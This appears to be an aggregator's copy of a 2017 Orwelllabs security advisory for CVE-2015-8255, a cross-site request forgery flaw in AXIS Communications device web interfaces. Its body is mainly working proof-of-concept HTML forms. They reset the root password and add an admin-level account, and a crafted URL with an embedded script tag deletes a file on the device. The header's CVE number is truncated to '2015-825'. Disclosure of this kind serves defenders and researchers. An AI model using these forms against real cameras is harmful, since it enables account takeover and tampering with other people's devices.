AXIS Communications Cross Site Request Forgery

🗓️ 17 Mar 2017 00:00:00Reported by OrwellLabsType

packetstorm🔗 packetstormsecurity.com👁 58 Views

AXIS Communications Cross-Site Request Forgery vulnerability in IoT device web interface [CWE-352] - CVE-2015-825

Reporter	Title	Published	Views	Family All 9
0day.today	AXIS Communications Cross Site Request Forgery Vulnerability	17 Mar 201700:00	–	zdt
CNVD	AXIS Cross-Site Request Forgery Vulnerability in Multiple Products	20 Mar 201700:00	–	cnvd
CVE	CVE-2015-8255	10 Apr 201703:00	–	cve
Cvelist	CVE-2015-8255	10 Apr 201703:00	–	cvelist
Exploit DB	AXIS (Multiple Products) - Cross-Site Request Forgery	17 Mar 201700:00	–	exploitdb
EUVD	EUVD-2015-8143	7 Oct 202500:30	–	euvd
exploitpack	AXIS (Multiple Products) - Cross-Site Request Forgery	17 Mar 201700:00	–	exploitpack
NVD	CVE-2015-8255	10 Apr 201703:59	–	nvd
Prion	Cross site request forgery (csrf)	10 Apr 201703:59	–	prion

` 0RWELLL4BS  
**********  
security advisory  
olsa-CVE-2015-8255  
PGP: 79A6CCC0  
@orwelllabs  
  
  
  
  
Advisory Information  
====================  
- Title: Cross-Site Request Forgery  
- Vendor: AXIS Communications  
- Research and Advisory: Orwelllabs  
- Class: Session Management control [CWE-352]  
- CVE Name: CVE-2015-8255  
- Affected Versions:  
- IoT Attack Surface: Device Web Interface  
- OWASP IoTTop10: I1  
  
  
  
Technical Details  
=================  
Because of the own (bad) design of this kind of device (Actualy a big  
problem of IoT, one of them)  
The embedded web application does not verify whether a valid request was  
intentionally provided by the user who submitted the request.  
  
  
PoCs  
====  
#-> Setting root password to W!nst0n  
  
<html>  
<!-- CSRF PoC Orwelllabs -->  
<body>  
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">  
<input type="hidden" name="action" value="update" />  
<input type="hidden" name="user" value="root" />  
<input type="hidden" name="pwd" value="w!nst0n" />  
<input type="hidden" name="comment" value="Administrator" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
#-> Adding new credential SmithW:W!nst0n  
  
<html>  
<!-- CSRF PoC - Orwelllabs -->  
<body>  
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">  
<input type="hidden" name="action" value="add" />  
<input type="hidden" name="user" value="SmithW" />  
<input type="hidden" name="sgrp"  
value="viewer:operator:admin:ptz"  
/>  
<input type="hidden" name="pwd" value="W!nst0n" />  
<input type="hidden" name="grp" value="users" />  
<input type="hidden" name="comment" value="WebUser" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
#-> Deleting an app via directly CSRF (axis_update.shtml)  
  
http://xxx.xxx.xxx.xxx/axis-cgi/vaconfig.cgi?action=get&name=<script src="  
http://xxx.xxx.xxx.xxx/axis-cgi/admin/local_del.cgi?+  
/usr/html/local/viewer/axis_update.shtml"></script>  
  
  
[And many acitions allowed to an user [all of them?] can be forged in this  
way]  
  
  
Vendor Information, Solutions and Workarounds  
+++++++++++++++++++++++++++++++++++++++++++++  
Well, this is a very old design problem of this kind of device, nothing new  
to say about that.  
  
  
Credits  
=======  
These vulnerabilities has been discovered and published by Orwelllabs.  
  
  
Legal Notices  
=============  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise. We accept no  
responsibility for any damage caused by the use or misuse of this  
information.  
  
  
About Orwelllabs  
================  
https://www.exploit-db.com/author/?a=8225  
https://packetstormsecurity.com/files/author/12322/  
`

17 Mar 2017 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.00431